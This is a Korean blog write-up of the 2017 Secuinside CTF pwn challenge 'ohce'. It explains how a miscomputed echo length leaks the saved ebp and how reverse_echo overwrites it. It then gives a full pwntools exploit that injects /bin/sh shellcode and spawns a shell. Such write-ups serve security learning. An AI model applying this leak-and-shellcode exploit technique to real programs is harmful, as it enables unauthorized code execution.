2017 secuinside ohce
read_input 함수에서 32글자를 기준으로 input buffer의 길이가 오르락 내리락 한다.
우리의 input이 들어가는 변수는 ebp-0x20 영역이다. 즉 31글자를 넣으면 input buffer의 길이가 늘어나는 일 없이 ebp의 값을 leak할 수 있을 것이다.
근데 echo 함수를 보면 입력 받은 길이를 계산하여 그만큼만 SYS_write로 출력해 준다. 하지만 sub_40026D 함수 때문에 이조차도 회피할 수 있다.
*v1이 있으면 계속해서 길이를 더해주는데 31글자를 넣을시 ebp까지 계산하므로 31글자를 넣고 38의 길이를 가질 수 있는 상황이 발생한다.
A를 31글자를 넣었을 때 스택 상황은 위와 같다.
reverse_echo로 이를 이용해서 ebp의 값을 덮어씌울 수 있다.
ebp(8byte) + shellcode(23byte)로 payload를 짜면 될 것 같다.
사실 이 문제에는 reverse_echo에 '\x0a'를 넣으면 길이가 0으로 되서 거기에 1을 뺀 값을 index로 사용하는 취약점이 하나 더 있다. 그래서 거의 무제한 overflow가 가능한데 스택 크기가 작다보니 하는 도중 세그폴트가 떠서 포기했다.. (ulimit -s unlimited로 하면 될거 같기도 한데..)
x
from pwn import *
context.clear(arch = 'amd64')
e = ELF('./ohce')
s = process(e.path)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
# b* 0x4002ac
def echo(data):
sl('1')
sl(data)
def rev_echo(data):
sl('2')
sl(data)
def exit():
sl('3')
syscall = 0x4001a0
sys_read = 0x000000000040023F
pret = 0x400168
echo('A'*31)
ru('A'*31+'\n')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shelladdr = leak - 0x18 - 0x2f
echo(p64(shelladdr) + 'A' + shellcode)
rev_echo(p64(leak - 0x50 - 8).strip('\x00')[::-1] + 'B'*25)
io()
쉘!
'system > writeup' 카테고리의 다른 글
2016 hitcon sleepyholder (0) | 2019.01.22 |
---|---|
2016 hitcon secretholder (0) | 2019.01.22 |
2016 codefate floppy (0) | 2019.01.20 |
2017 0ctf babyheap (0) | 2019.01.20 |
pwnable.tw applestore (0) | 2019.01.19 |